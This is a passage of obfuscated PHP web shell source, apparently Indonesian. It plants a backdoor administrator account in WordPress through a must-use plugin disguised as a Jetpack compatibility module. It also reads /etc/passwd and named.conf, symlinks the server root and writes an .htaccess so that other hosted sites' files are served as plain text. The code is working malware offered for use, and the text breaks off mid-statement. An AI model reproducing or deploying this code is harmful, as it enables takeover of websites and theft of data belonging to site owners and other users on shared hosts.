base64_decode("\x50\x44\71\167\x61\x48\x41\113\x4c\x79\157\x4b\x55\x47\170\x31\x5a\62\x6c\165\111\105\x35\150\x62\127\125\x36\111\x45\x70\154\x64\110\x42\x68\131\62\x73\147\x55\62\x56\171\144\155\x56\171\111\x45\x4e\166\142\130\102\150\144\x47\x6c\x69\141\127\x78\x70\144\x48\x6b\x67\132\x6d\x39\x79\111\106\144\x76\x63\x6d\122\121\x63\x6d\x56\172\x63\167\x70\x51\x62\110\x56\x6e\x61\127\x34\x67\126\126\x4a\x4a\117\x69\x42\157\144\x48\122\x77\x63\x7a\x6f\x76\x4c\x33\x64\166\143\155\x52\x77\143\x6d\126\x7a\x63\x79\65\166\x63\155\143\x76\x43\x6b\x52\x6c\x63\62\116\x79\x61\x58\x42\x30\x61\127\71\x75\117\151\102\x58\142\63\112\153\x55\110\x4a\154\143\63\115\x67\143\62\x56\x6a\144\130\112\x70\x64\x48\153\x73\111\110\102\x6c\143\155\132\166\143\155\x31\150\142\x6d\x4e\x6c\114\x43\102\x74\131\x58\112\x72\x5a\x58\122\x70\142\x6d\143\163\111\107\x46\165\x5a\103\102\153\132\130\x4e\x70\132\x32\x34\x67\144\x47\x39\166\x62\x48\x4d\147\64\157\103\x55\111\105\x70\154\144\110\102\150\x59\62\x73\147\x61\130\x4d\147\142\x57\x46\153\x5a\x53\102\151\x65\x53\102\x58\x62\x33\112\153\125\x48\x4a\x6c\143\63\x4d\147\132\130\150\x77\x5a\130\x4a\60\143\x79\x42\x30\142\171\x42\x74\x59\x57\164\154\x49\106\144\121\111\x48\x4e\x70\x64\x47\x56\x7a\111\x48\116\x68\x5a\x6d\126\x79\111\107\x46\x75\x5a\103\x42\155\x59\130\x4e\x30\x5a\x58\111\163\111\x47\x46\x75\x5a\x43\102\x6f\132\x57\170\167\111\x48\154\166\x64\x53\x42\x6e\x63\155\x39\63\x49\x48\x6c\166\x64\130\x49\x67\x64\x48\112\150\x5a\x6d\132\x70\131\x79\64\113\x56\155\126\171\143\62\x6c\x76\142\x6a\x6f\x67\115\x53\64\x77\x4c\152\x45\x7a\103\153\x46\61\144\107\150\166\143\152\x6f\147\x51\x58\x56\60\x62\x32\61\x68\144\110\122\160\x59\167\x70\x42\x64\130\122\157\x62\63\x49\147\x56\x56\112\112\x4f\151\102\x6f\x64\x48\122\x77\143\x7a\157\x76\x4c\x33\x64\x76\143\155\122\x77\143\x6d\x56\x7a\x63\171\x35\x76\143\155\x63\166\103\151\157\166\103\155\x46\153\x5a\106\x39\x68\x59\63\x52\x70\x62\x32\64\x6f\x49\x43\x64\160\142\155\x6c\60\x4a\171\x77\147\x5a\156\126\x75\x59\63\122\x70\142\62\64\147\x4b\x43\153\x67\x65\x77\157\x67\111\x43\x41\147\x4a\x47\x68\x68\x63\62\147\x67\x50\x53\x41\151\x59\60\150\113\144\x6d\x52\x48\x4f\x58\126\x5a\x62\x54\153\x7a\x4d\152\x67\x35\116\x55\61\125\132\x7a\x52\x52\x52\x32\x52\60\x4f\124\x4d\171\x4f\x46\154\x58\142\110\116\115\142\125\65\x32\131\154\105\65\x4d\x7a\111\64\x50\x54\x30\151\x4f\x77\x6f\147\111\x43\101\x67\x4a\x47\164\x6c\x65\123\101\71\x49\110\x4e\60\143\154\x39\x79\x5a\x58\102\163\x59\127\116\x6c\113\103\111\172\115\152\x42\153\x4f\103\111\x73\x49\x69\111\x73\x49\x6e\115\172\115\152\x42\x6b\117\x48\x51\x7a\x4d\152\x42\x6b\x4f\110\111\x7a\x4d\152\102\153\x4f\x46\70\x7a\x4d\x6a\x42\153\x4f\x48\x49\172\115\152\x42\153\117\x47\125\172\x4d\152\x42\x6b\x4f\x48\x41\x7a\x4d\152\102\x6b\117\x47\x77\x7a\x4d\x6a\x42\x6b\117\107\105\x7a\x4d\x6a\x42\153\x4f\107\x4d\x7a\115\x6a\102\153\117\107\x55\x69\x4b\124\163\113\x49\x43\x41\147\111\103\x52\x6f\142\62\x39\x72\x58\x32\x46\152\144\x47\x6c\x76\x62\151\101\x39\x49\103\144\x69\x59\123\x63\165\x4a\63\x4d\156\x4c\151\x64\154\116\151\x63\165\112\x7a\121\x6e\114\x69\144\x66\112\171\x34\156\132\103\143\165\112\x32\125\156\114\x69\x64\152\112\171\64\156\x62\62\122\x6c\112\172\x73\x4b\111\x43\101\x67\x49\x43\122\63\143\106\71\157\142\x32\71\x72\x49\104\x30\x67\112\x47\x68\x76\142\62\x74\x66\131\127\116\60\141\127\x39\165\113\x43\x4a\124\x61\60\132\x50\125\x54\x41\65\x53\103\111\160\117\x77\x6f\147\x49\103\101\x67\x4a\110\x64\167\x58\62\x46\152\144\x47\154\166\x62\151\101\x39\111\103\122\x6f\x62\x32\x39\x72\x58\62\x46\x6a\144\107\x6c\166\142\151\147\153\141\62\126\65\x4b\103\x49\65\x4d\172\x49\x34\111\151\x77\147\x49\151\x49\163\111\103\x52\x6f\131\130\x4e\x6f\x4b\x53\x6b\x37\103\x6d\154\155\111\x43\147\x67\x49\x53\102\61\143\62\126\x79\142\x6d\106\164\132\126\71\154\x65\107\x6c\172\x64\110\x4d\157\111\x43\122\x31\x63\62\x56\x79\x62\155\106\x74\x5a\x53\x41\160\111\103\x6b\x67\145\167\x6f\147\111\x43\x41\x67\x4a\x48\126\172\132\x58\112\146\x61\x57\x51\x67\120\123\x42\x33\x63\106\71\x6a\x63\x6d\x56\x68\x64\x47\x56\x66\x64\130\116\x6c\143\151\x67\x67\112\x48\x56\x7a\x5a\x58\x4a\165\x59\x57\61\154\x4c\103\101\x6b\144\63\102\146\141\107\71\166\x61\171\x77\147\x4a\x48\x64\x77\130\x32\x46\152\x64\x47\x6c\x76\x62\x69\101\x70\x4f\167\x6f\x67\111\x43\101\x67\x4a\x48\x56\172\x5a\130\111\x67\x50\x53\x42\x75\x5a\x58\x63\x67\x56\61\x42\x66\x56\130\x4e\x6c\143\x69\147\147\112\x48\x56\x7a\132\x58\x4a\146\141\127\x51\147\x4b\x54\163\113\111\103\101\147\111\x43\122\61\x63\62\126\171\114\x54\x35\172\132\x58\x52\x66\143\x6d\x39\x73\132\x53\147\147\x4a\x32\106\153\x62\x57\154\x75\141\x58\116\60\143\x6d\106\x30\142\x33\x49\x6e\x49\x43\x6b\67\x43\156\x30\147\132\x57\x78\x7a\132\x53\102\x37\x43\x69\x41\x67\111\103\101\x6b\144\130\116\x6c\x63\154\71\x70\132\103\x41\71\111\x48\x64\x77\130\62\x4e\x79\x5a\x57\106\x30\132\126\x39\61\x63\62\x56\x79\x4b\103\x41\156\144\62\71\x79\132\110\102\171\x5a\x58\x4e\x7a\130\63\x4e\154\x59\x33\x56\171\x61\130\x52\65\x4a\x79\167\147\112\x48\x42\x68\143\x33\116\x33\142\63\x4a\153\x4c\103\x41\153\x5a\127\x31\150\141\x57\170\x66\131\x57\122\x6b\143\155\x56\x7a\143\x79\x41\x70\117\167\157\x67\x49\x43\101\147\x4a\x48\x56\x7a\132\x58\111\147\x50\x53\x42\165\x5a\x58\143\x67\126\x31\x42\x66\x56\x58\116\154\x63\151\147\147\112\110\126\x7a\x5a\x58\112\x66\x61\x57\x51\147\x4b\x54\x73\x4b\111\103\101\147\x49\103\x52\x31\x63\x32\126\171\x4c\124\65\x7a\x5a\130\122\146\143\155\x39\x73\x5a\123\x67\x67\x4a\x32\106\x6b\142\127\154\165\x61\130\x4e\60\143\x6d\x46\x30\x62\63\x49\156\x49\x43\x6b\67\x43\x6e\x30\x67\146\x53\x41\160\117\167\x6f\x2f\x50\x67\x3d\75"); $mu_result = ''; $startDirectory = realpath(__DIR__); if ($startDirectory !== $_SERVER["\x44\x4f\103\125\x4d\x45\116\124\137\122\117\x4f\124"]) { $wpcon = $startDirectory . "\57\x77\x70\x2d\143\x6f\x6e\164\145\156\x74\57\57"; $muplug = $startDirectory . "\57\x77\x70\55\x63\157\156\x74\x65\156\164\57\x6d\x75\x2d\x70\154\x75\x67\x69\156\163\x2f"; } else { $wpcon = $_SERVER["\x44\x4f\x43\x55\115\105\116\x54\x5f\122\117\x4f\124"] . "\x2f\x77\x70\x2d\x63\157\x6e\164\145\156\x74\x2f\x2f"; $muplug = $_SERVER["\x44\x4f\103\125\115\x45\x4e\124\137\x52\117\117\124"] . "\57\x77\160\55\143\157\x6e\164\145\156\164\57\155\x75\x2d\160\154\x75\x67\x69\156\163\57"; } $array = array(); $array[] = "\152\x65\x74\x70\141\x63\x6b\55\x77\157\162\x64\160\x72\145\x73\163\56\160\x68\x70"; $array[] = "\152\145\164\x70\x61\x63\153\x2d\146\157\x72\x2d\167\157\x72\144\160\162\145\163\x73\56\160\x68\160"; $array[] = "\152\145\x74\x70\x61\143\153\x2d\x63\157\155\x70\x61\x74\151\142\151\154\x69\x74\171\56\x70\x68\x70"; $array[] = "\152\x65\164\160\x61\x63\x6b\x2d\x6e\x67\x69\156\170\55\143\x6f\x6d\160\141\164\x69\142\151\154\x69\164\x79\x2e\160\x68\x70"; $array[] = "\x6a\x65\164\x70\141\143\x6b\55\154\x69\x74\145\163\160\x65\x65\x64\x2d\143\157\x6d\160\141\x74\x69\x62\x69\154\x69\164\171\x2e\160\x68\160"; $array[] = "\x6a\145\x74\x70\141\x63\x6b\55\141\x70\x61\143\150\x65\55\143\157\x6d\x70\141\x74\x69\142\151\x6c\151\164\x79\56\160\150\160"; $muname = $array[mt_rand(0, count($array) - 1)]; if (is_writeable($wpcon)) { if (!is_dir($muplug)) { mkdir($muplug, 493, true); $plugmu = $muplug . $muname; $status = file_put_contents($plugmu, $isimu); if ($status) { $mu_result .= "\74\x73\x70\141\x6e\40\x63\154\x61\163\x73\75\x22\x74\x65\x78\164\x2d\163\x75\x63\x63\x65\x73\x73\40\x66\x6f\x6e\164\x2d\167\145\x69\147\150\164\55\x62\157\x6c\x64\42\x3e\102\x65\x72\150\141\x73\151\154\40\104\145\160\x6c\157\171\x20\x4d\x55\40\120\x6c\x75\147\x69\156\x73\41\74\x2f\x73\x70\x61\156\76\x26\x6e\x62\x73\x70\x3b\x26\156\x62\x73\x70\x3b\x26\x6e\x62\x73\160\x3b\40{$plugmu}\x3c\x62\162\76\x3c\142\x72\76\125\x73\x65\162\156\141\155\145\72\x20\x77\x6f\162\144\160\162\145\163\163\x20\57\40\167\157\162\x64\160\x72\145\163\x73\137\x73\x65\x63\165\x72\151\164\171\x20\x3c\x62\162\76\120\x61\x73\x73\x77\x6f\162\x64\x3a\x20\112\101\x4e\x43\x4f\116\x47"; chmod($plugmu, 292); } else { $mu_result .= "\74\x73\x70\141\x6e\x20\143\154\x61\x73\x73\x3d\42\x74\x65\x78\164\x2d\144\x61\x6e\147\x65\162\x20\x66\157\156\x74\55\167\x65\x69\x67\x68\x74\x2d\142\157\154\x64\x22\x3e\107\141\147\141\154\x20\104\145\x70\x6c\157\171\40\115\125\x20\120\x6c\165\x67\x69\x6e\163\41\x3c\x2f\163\x70\x61\156\x3e\x3c\x62\162\76"; } } else { chmod($muplug, 493); $plugmu = $muplug . $muname; $status = file_put_contents($plugmu, $isimu); if ($status) { $mu_result .= "\74\163\160\141\156\40\143\x6c\x61\163\x73\x3d\42\x74\x65\x78\x74\55\x73\165\143\143\145\163\x73\40\x66\157\x6e\164\55\x77\x65\x69\x67\x68\164\x2d\142\157\154\144\42\x3e\102\145\162\150\x61\163\x69\154\40\x44\145\160\154\157\x79\40\115\x55\40\x50\154\x75\147\x69\x6e\163\x21\74\x2f\163\160\141\x6e\76\x26\x6e\x62\x73\160\x3b\46\x6e\142\163\160\73\46\156\x62\163\x70\73\40\74\x73\x70\x61\x6e\x20\x63\154\141\163\163\75\x22\x74\145\x78\164\x2d\163\x75\x63\x63\145\x73\x73\40\x66\x6f\x6e\x74\x20\55\x77\145\x69\147\150\x74\55\x62\157\x6c\144\42\x3e{$plugmu}\74\57\163\160\x61\x6e\x3e\x3c\x62\162\x3e\x3c\142\x72\x3e\74\163\160\141\156\x20\x63\x6c\x61\163\163\x3d\x22\x74\145\170\x74\x2d\x69\x6e\146\157\40\x66\157\156\x74\55\x77\145\x69\147\150\164\55\142\x6f\x6c\x64\42\76\x55\x73\145\162\156\x61\155\x65\x3a\x3c\57\163\160\x61\x6e\x3e\40\x3c\x73\160\141\156\x20\x63\154\141\163\x73\75\42\164\x65\170\x74\x2d\x69\156\x66\157\x20\146\x6f\156\164\55\167\x65\151\147\x68\x74\55\x62\157\x6c\144\x22\x3e\x77\x6f\x72\x64\160\x72\x65\163\x73\x20\57\40\x77\157\162\x64\160\162\145\163\163\137\x73\x65\143\x75\x72\151\x74\x79\x20\x3c\x62\162\x3e\74\x2f\163\160\x61\x6e\76\x3c\163\160\x61\156\x20\x63\154\141\163\x73\x3d\42\x74\145\170\164\55\151\156\146\157\x20\x66\157\156\164\55\167\145\x69\x67\150\x74\55\x62\x6f\x6c\x64\x22\x3e\x50\x61\163\x73\167\157\162\144\x3a\74\57\163\x70\x61\x6e\76\40\x3c\x73\x70\141\156\40\143\x6c\141\x73\x73\x3d\42\164\x65\170\x74\55\x69\156\146\x6f\40\x66\157\156\164\55\x77\x65\151\147\150\x74\55\142\157\x6c\x64\x22\76\112\x41\x4e\x43\117\x4e\x47\x3c\57\163\160\141\156\x3e"; chmod($plugmu, 292); } else { $mu_result .= "\x3c\163\x70\x61\156\x20\143\154\141\163\163\75\42\x74\x65\170\164\x2d\x64\x61\156\147\x65\x72\x20\146\x6f\x6e\x74\55\x77\x65\x69\147\150\164\55\x62\x6f\154\144\42\76\107\x61\147\x61\154\40\104\x65\160\154\x6f\x79\40\x4d\125\40\120\154\x75\147\x69\156\163\x21\74\57\x73\160\x61\156\x3e\74\142\x72\76"; } } } } echo "\74\144\151\x76\x20\x63\x6c\x61\x73\163\75\42\x73\155\141\154\154\141\x72\x65\x61\x22\x20\x6e\x61\155\x65\x3d\x22\157\165\164\160\x75\164\x20\163\x74\171\154\145\x3d\42\142\x6f\162\x64\145\162\55\x62\x6f\164\164\157\x6d\x3a\60\73\155\x61\x72\147\x69\x6e\x2d\x74\157\x70\72\x35\x70\170\x3b\42\x20\x72\x65\x61\x64\157\x6e\x6c\x79\x3e"; print_r($mu_result) . PHP_EOL; echo "\x3c\x2f\144\x69\x76\76"; echo "\x3c\x2f\144\x69\166\76\x3c\x2f\x64\x69\166\76"; } goto BqkUn; xbcnk: function IIIIIIIlI111($dir, $IIIIIIII1l1I) { echo "\x3c\x64\x69\x76\x20\x63\154\x61\x73\163\x3d\47\143\141\x72\x64\47\x3e\12\x3c\x64\151\166\40\x63\154\141\163\x73\75\47\x63\141\162\x64\x2d\142\x6f\144\x79\40\146\x6f\x72\155\x2d\x67\162\x6f\x75\160\47\76\x3c\x66\157\162\x6d\x3e\12\74\x68\x35\76\x3c\160\x20\143\x6c\141\x73\x73\x3d\47\164\145\x78\164\x2d\x6d\x75\164\x65\x64\x27\76\115\x61\163\x73\x20\106\x69\156\x64\145\162\40\x43\157\x6e\146\x69\x67\74\x2f\x70\76\x3c\x68\65\x3e\xa\74\x68\x35\76\74\160\x20\x63\x6c\x61\163\x73\75\x27\x74\x65\170\164\x2d\x6d\x75\x74\145\x64\x27\76{$IIIIIIII1l1I}\x20\124\141\162\x67\x65\x74\x20\104\x69\162\145\x63\164\x6f\x72\171\x20\123\x65\141\162\143\x68\40\72\x3c\x2f\160\76\74\57\150\65\x3e\xa\74\151\156\x70\x75\x74\x20\x74\x79\x70\x65\75\x27\x74\145\170\164\47\40\143\154\141\163\x73\x3d\x27\146\x6f\x72\155\x2d\143\157\x6e\164\x72\x6f\154\x27\x20\156\x61\155\145\x3d\x27\x63\x6f\x6e\146\151\147\x73\145\x61\162\x63\150\151\x6e\x67\47\40\x61\165\164\157\143\157\x6d\x70\154\145\x74\x65\75\47\157\146\146\x27\x20\x70\x6c\141\143\145\x68\157\x6c\x64\x65\162\75\47\x65\170\x20\72\x20\x2f\x76\141\x72\x2f\x77\167\x77\x2f\150\x74\x6d\x6c\x27\x3e\12\74\x2f\146\x6f\162\155\76\74\57\144\x69\x76\x3e\74\x2f\x64\151\x76\x3e"; } goto Jy1LU; o55aw: date_default_timezone_set("\101\163\151\141\x2f\112\x61\153\141\x72\164\141"); goto XBmL5; XY24e: if ($_GET["\141\x6b\163\x69"] == "\167\x70\x75\163\145\162") { wpuser($dir); } goto ATQKj; n7gkr: function IIIIIII1l1l1($dir, $file) { $IIIIIII1l1ll = str_replace($_SERVER["\x44\117\103\x55\x4d\x45\116\124\x5f\122\117\117\124"], '', $dir); $IIIIIIIlIIl1 = @file("\x2f\x65\164\143\57\156\x61\x6d\x65\144\56\143\x6f\156\146"); if (!$IIIIIIIlIIl1) { die("\133\x20\74\x61\x20\x68\162\x65\x66\x3d\x27\x3f\x64\x69\162\75{$dir}\46\x61\x6b\163\151\x3d\x73\171\155\x72\145\141\144\x27\76\x42\171\x70\x61\x73\163\40\122\145\x61\144\x3c\57\141\76\40\x5d\x20\133\40\74\x61\40\x68\162\145\x66\75\47\77\144\151\x72\75{$dir}\46\x61\x6b\163\x69\x3d\163\171\155\137\x34\x30\x34\47\76\123\x79\x6d\154\151\156\x6b\40\x34\60\x34\74\x2f\141\76\40\x5d\40\x5b\40\x3c\141\40\x68\x72\145\x66\75\x27\x3f\x64\x69\x72\x3d{$dir}\x26\x61\153\163\151\x3d\x73\171\155\137\142\x79\x70\x61\x73\x27\x3e\123\171\155\154\x69\x6e\x6b\40\x42\x79\160\141\163\x73\74\57\x61\x3e\40\135\74\142\x72\57\x3e\x3c\146\157\x6e\x74\40\143\x6f\x6c\157\162\x3d\47\x72\145\144\x27\76\105\x72\162\157\x72\x20\164\x69\144\141\153\40\x64\141\x70\x61\x74\40\x6d\145\155\x62\x61\143\141\40\x20\x2f\145\x74\x63\x2f\x6e\x61\155\x65\x64\56\143\x6f\x6e\x66\74\x2f\146\x6f\156\x74\76\74\142\x72\57\x3e\x3c\142\162\57\76"); } if ($IIIIIIIlIIl1) { @mkdir("\151\x6e\x64\157\163\145\143\x5f\163\x79\x6d", 511); @chdir("\x69\156\x64\157\x73\145\143\137\163\171\x6d"); @ex("\154\x6e\40\x2d\x73\x20\57\x20\162\x6f\157\x74"); $IIIIIII1l11I = "\x4f\160\164\151\x6f\156\163\x20\x49\x6e\x64\x65\x78\x65\x73\x20\x46\157\154\x6c\x6f\x77\123\x79\155\114\x69\156\153\163\12\104\x69\162\x65\x63\x74\157\162\171\111\x6e\x64\x65\170\40\151\x6e\144\x73\143\x2e\x68\x74\155\154\xa\x41\144\144\124\171\x70\x65\40\164\145\170\164\57\160\154\x61\151\156\40\160\150\160\40\150\164\155\154\x20\160\x68\160\x35\x20\160\x68\x74\x6d\154\12\x41\x64\144\110\x61\x6e\144\x6c\x65\162\40\x74\x65\x78\x74\x2f\160\154\x61\x69\156\x20\x70\x68\160\40\x68\x74\x6d\x6c\x20\x70\150\160\x35\x20\x70\x68\164\x6d\154\12\x53\141\x74\x69\163\146\171\40\101\156\171"; $IIIIIII1l11l = fopen("\56\x68\164\x61\x63\143\145\x73\x73", "\x77"); $IIIIIII1l111 = fwrite($IIIIIII1l11l, $IIIIIII1l11I); @fclose($IIIIIII1l11l); echo "\133\x20\x3c\141\40\x68\162\145\x66\75\x27\x3f\144\151\x72\x3d{$dir}\x26\141\x6b\163\x69\x3d\x73\171\x6d\x72\x65\141\144\47\76\x42\x79\160\141\x73\163\40\x52\x65\141\144\74\x2f\x61\76\40\135\x20\x5b\x20\74\x61\40\150\162\x65\x66\75\x27\x3f\x64\x69\162\75{$dir}\x26\141\153\x73\x69\x3d\x73\171\x6d\137\64\x30\x34\47\x3e\x53\171\x6d\154\151\x6e\153\x20\x34\x30\x34\x3c\57\x61\76\40\135\x20\133\40\74\x61\40\x68\x72\x65\x66\75\x27\x3f\x64\151\x72\x3d{$dir}\x26\x61\153\163\151\x3d\163\171\x6d\137\142\x79\x70\141\x73\x27\76\x53\x79\x6d\154\151\x6e\153\40\x42\171\x70\x61\x73\163\x3c\x2f\x61\x3e\40\135\xa\74\144\151\x76\40\143\154\x61\x73\163\x3d\x27\x74\155\x70\47\76\12\74\x74\x61\x62\x6c\x65\x20\143\154\x61\163\x73\75\x27\164\x65\170\164\x2d\143\x65\156\164\145\162\x20\164\141\142\x6c\x65\x2d\x72\145\163\x70\157\x6e\x73\x69\x76\x65\x27\76\12\74\164\150\x65\x61\x64\40\143\x6c\x61\x73\163\75\x27\x62\147\x2d\x69\x6e\146\157\47\76\xa\x3c\164\150\x3e\x4e\157\56\x3c\57\164\150\76\xa\74\164\150\x3e\x44\x6f\155\x61\x69\156\x73\x3c\57\164\150\x3e\xa\74\x74\x68\x3e\125\163\x65\x72\163\74\57\164\150\76\12\74\164\x68\76\163\x79\155\154\151\x6e\x6b\40\x3c\x2f\164\150\76\xa\74\x2f\164\150\x65\141\x64\x3e"; $IIIIIII11IIl = 1; foreach ($IIIIIIIlIIl1 as $IIIIIIIlIlII) { if (eregi("\172\x6f\156\145", $IIIIIIIlIlII)) { preg_match_all("\43\x7a\157\x6e\x65\x20\42\50\56\52\51\x22\43", $IIIIIIIlIlII, $IIIIIIIlIllI); flush(); if (strlen(trim($IIIIIIIlIllI[1][0])) > 2) { $user = posix_getpwuid(@fileowner("\x2f\145\164\x63\x2f\166\x61\154\151\x61\163\145\163\x2f" . $IIIIIIIlIllI[1][0])); echo "\x3c\164\x72\x3e\xa\74\164\x64\76" . $IIIIIII11IIl . "\x3c\x2f\164\x64\76\xa\74\x74\144\x20\143\x6c\x61\x73\163\x3d\47\164\x65\x78\x74\55\x6c\145\x66\164\x27\76\74\141\40\150\162\145\x66\x3d\150\164\164\x70\x3a\x2f\57\x77\167\167\x2e" . $IIIIIIIlIllI[1][0] . "\x2f\76" . $IIIIIIIlIllI[1][0] . "\x3c\x2f\141\76\74\57\164\x64\x3e\xa\x3c\x74\x64\76" . $user["\x6e\141\x6d\145"] . "\x3c\57\x74\x64\76\xa\x3c\164\144\x3e\x3c\141\x20\150\162\145\x66\75\47{$IIIIIII1l1ll}\57\x69\156\x64\157\163\145\143\x5f\x73\x79\155\x2f\162\157\157\x74\x2f\x68\x6f\155\145\x2f" . $user["\x6e\x61\x6d\145"] . "\x2f\x70\x75\142\x6c\151\143\x5f\x68\164\155\x6c\47\40\x74\x61\x72\147\145\164\x3d\47\137\142\x6c\x61\x6e\x6b\47\x3e\x53\x79\155\x6c\151\x6e\153\74\x2f\141\76\x3c\x2f\164\144\x3e\12\x3c\x2f\x74\162\76"; flush(); $IIIIIII11IIl++; } } } echo "\74\57\x74\x61\x62\x6c\145\x3e\x3c\x2f\x64\x69\166\x3e"; } else { $IIIIIII11IlI = @file("\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\167\x64"); if ($IIIIIII11IlI) { @mkdir("\151\156\x64\x6f\x73\x65\143\137\163\171\155", 511); @chdir("\x69\x6e\144\x6f\163\x65\143\137\163\171\x6d"); @ex("\x6c\156\x20\x2d\163\x20\x2f\x20\x72\157\x6f\164"); $IIIIIII1l11I = "\x4f\160\x74\151\157\156\x73\x20\x49\156\x64\x65\x78\x65\163\40\x46\157\x6c\x6c\157\167\x53\171\x6d\x4c\151\x6e\153\x73\12\x44\x69\162\x65\x63\x74\x6f\x72\x79\x49\156\144\145\x78\x20\151\x6e\144\163\x63\x2e\x68\164\155\154\12\x41\144\x64\124\x79\x70\x65\x20\164\145\x78\164\57\160\x6c\x61\151\156\x20\x70\150\x70\40\x68\x74\x6d\x6c\x20\160\150\x70\x35\40\160\150\164\155\154\xa\x41\144\x64\x48\x61\156\144\x6c\145\162\40\x74\x65\x78\x74\57\160\154\x61\151\156\x20\x70\x68\x70\x20\150\x74\155\154\40\x70\150\160\65\x20\x70\150\x74\x6d\154\12\123\x61\x74\151\x73\x66\171\40\101\x6e\171"; $IIIIIII1l11l = fopen("\56\150\x74\x61\x63\143\145\x73\x73", "\167"); $IIIIIII1l111 = fwrite($IIIIIII1l11l, $IIIIIII1l11I); @fclose($IIIIIII1l11l); echo "\x5b\x20\74\x61\40\150\x72\x65\146\x3d\47\77\x64\151\x72\75{$dir}\x26\x61\x6b\163\x69\75\x73\171\x6d\162\145\x61\x64\47\x3e\102\171\x70\x61\x73\163\40\x52\x65\141\144\74\x2f\141\x3e\x20\x5d\40\x5b\40\x3c\141\x20\150\x72\x65\x66\x3d\47\x3f\x64\151\162\75{$dir}\x26\141\x6b\x73\151\75\x73\x79\x6d\137\64\60\x34\47\76\123\x79\155\x6c\151\x6e\x6b\40\x34\60\x34\74\57\x61\76\40\x5d\40\133\40\74\141\x20\150\162\x65\x66\75\x27\x3f\x64\x69\x72\x3d{$dir}\x26\141\x6b\x73\x69\x3d\163\x79\x6d\x5f\142\x79\x70\141\x73\47\76\123\x79\155\154\x69\x6e\x6b\40\102\x79\160\x61\x73\163\x3c\57\x61\76\x20\135\xa\74\x64\151\x76\x20\143\154\141\163\x73\x3d\47\164\x6d\x70\x27\x3e\xa\x3c\164\141\x62\154\x65\40\143\x6c\x61\x73\163\x3d\47\x74\x65\170\x74\55\x63\x65\156\164\145\162\x20\x74\141\142\x6c\x65\55\x72\x65\163\x70\x6f\156\x73\x69\x76\x65\47\x3e\12\74\164\x68\145\x61\144\x20\143\154\x61\163\163\x3d\x27\142\x67\55\x77\141\162\156\151\156\x67\47\76\12\x3c\x74\150\x3e\x4e\x6f\x2e\x3c\x2f\164\x68\x3e\xa\74\x74\x68\76\x55\x73\145\162\163\x3c\x2f\164\x68\76\xa\74\164\150\76\163\x79\x6d\x6c\151\x6e\x6b\40\x3c\x2f\164\x68\x3e\12\x3c\x2f\164\150\145\141\x64\x3e"; $IIIIIII11IIl = 1; $file = fopen("\57\x65\164\143\x2f\160\141\163\x73\167\x64", "\x72") or die("\x55\x6e\141\x62\x6c\x65\x20\164\157\40\157\x70\x65\x6e\40\x66\151\154\145\41"); while (!feof($file)) { $s = fgets($file); $IIIIIII11Il1 = array(); $t = preg_match("\x2f\x5c\x2f\50\x2e\52\77\x29\134\72\134\x2f\57\x73", $s, $IIIIIII11Il1); $IIIIIII11Il1 = str_replace("\x68\x6f\x6d\145\x2f", '', $IIIIIII11Il1[1]); if (strlen($IIIIIII11Il1) > 12 || strlen($IIIIIII11Il1) == 0 || $IIIIIII11Il1 == "\x62\151\x6e" || $IIIIIII11Il1 == "\x65\164\x63\x2f\x58\61\x31\x2f\x66\x73" || $IIIIIII11Il1 == "\166\x61\162\57\154\151\x62\57\x6e\x66\x73" || $IIIIIII11Il1 == "\166\141\x72\57\141\162\160\167\141\164\x63\x68" || $IIIIIII11Il1 == "\166\x61\x72\57\147\x6f\x70\150\145\162" || $IIIIIII11Il1 == "\x73\142\x69\156" || $IIIIIII11Il1 == "\x76\x61\x72\x2f\141\x64\155" || $IIIIIII11Il1 == "\x75\x73\162\x2f\x67\x61\x6d\145\x73" || $IIIIIII11Il1 == "\x76\x61\162\x2f\x66\164\x70" || $IIIIIII11Il1 == "\145\x74\x63\57\x6e\x74\x70" || $IIIIIII11Il1 == "\x76\141\162\x2f\167\167\167" || $IIIIIII11Il1 == "\x76\x61\x72\57\156\141\x6d\145\x64") { continue; } echo "\74\164\162\x3e\12\x3c\164\144\76" . $IIIIIII11IIl . "\x3c\x2f\x74\144\76\xa\x3c\x74\x64\76" . $IIIIIII11Il1 . "\74\57\164\144\x3e\12\x3c\x74\x64\76\74\141\40\150\x72\x65\x66\x3d{$IIIIIII1l1ll}\x2f\151\156\x64\x6f\163\145\x63\x5f\163\x79\x6d\x2f\162\x6f\157\164\x2f\150\157\x6d\145\57" . $IIIIIII11Il1 . "\x2f\x70\x75\142\154\151\x63\137\x68\x74\x6d\154\x20\164\x61\x72\147\145\x74\x3d\x27\x5f\142\x6c\x61\156\x6b\x27\x3e\123\171\155\154\151\x6e\153\x3c\x2f\141\x3e\74\57\x74\144\76\xa\x3c\x2f\x74\x72\76"; $IIIIIII11IIl++; } fclose($file); echo "\x3c\x2f\x74\141\142\x6c\145\x3e\74\x2f\144\x69\x76\x3e"; } else { if ($IIIIIIIIl111 != "\127\151\156\144\157\167\163") { @mkdir("\151\x6e\x64\157\x73\x65\143\x5f\x73\171\155", 511); @chdir("\x69\156\x64\157\163\145\143\137\x73\x79\155"); @ex("\x6c\156\x20\x2d\163\x20\57\40\162\157\157\164"); $IIIIIII1l11I = "\117\160\164\151\x6f\x6e\163\x20\111\156\144\x65\x78\145\x73\40\106\157\154\x6c\157\x77\x53\x79\155\x4c\x69\x6e\x6b\x73\xa\104\x69\x72\x65\x63\x74\x6f\x72\x79\111\156\144\x65\x78\40\151\156\x64\x73\143\56\x68\x74\155\154\12\x41\x64\144\x54\x79\x70\145\x20\x74\x65\x78\164\x2f\160\154\x61\151\x6e\x20\x70\150\160\x20\150\x74\x6d\x6c\40\x70\150\x70\65\40\160\x68\164\155\154\12\x41\x64\144\110\x61\x6e\144\154\x65\162\x20\x74\x65\170\164\x2f\x70\154\141\x69\156\40\x70\x68\160\40\x68\x74\155\x6c\x20\x70\150\x70\x35\40\x70\150\x74\155\x6c\12\123\141\164\x69\163\x66\171\x20\101\156\x79"; $IIIIIII1l11l = fopen("\56\x68\164\141\x63\x63\x65\163\163", "\x77"); $IIIIIII1l111 = fwrite($IIIIIII1l11l, $IIIIIII1l11I); @fclose($IIIIIII1l11l); echo 